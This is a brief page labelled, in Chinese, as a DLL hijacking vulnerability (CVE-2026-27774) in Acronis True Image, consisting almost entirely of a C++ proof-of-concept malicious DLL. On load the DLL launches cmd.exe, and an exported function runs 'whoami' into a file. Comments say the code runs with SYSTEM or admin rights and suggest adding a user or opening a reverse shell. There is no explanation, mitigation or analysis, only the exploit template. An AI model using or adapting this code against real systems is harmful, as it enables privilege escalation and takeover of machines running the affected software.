CVE-2026-27774 Acronis True Image DLL劫持漏洞

#include <windows.h> #include <stdlib.h> // Export the function that the application expects to load extern "C" __declspec(dllexport) void HookedFunction() { // Payload: Execute a command with high privileges // Example: Add a new user or start a reverse shell system("cmd.exe /c whoami > C:\temp\privs.txt"); } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code runs when the DLL is loaded into the process // This typically happens with SYSTEM or Admin privileges due to the vulnerable app WinExec("cmd.exe", SW_SHOW); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }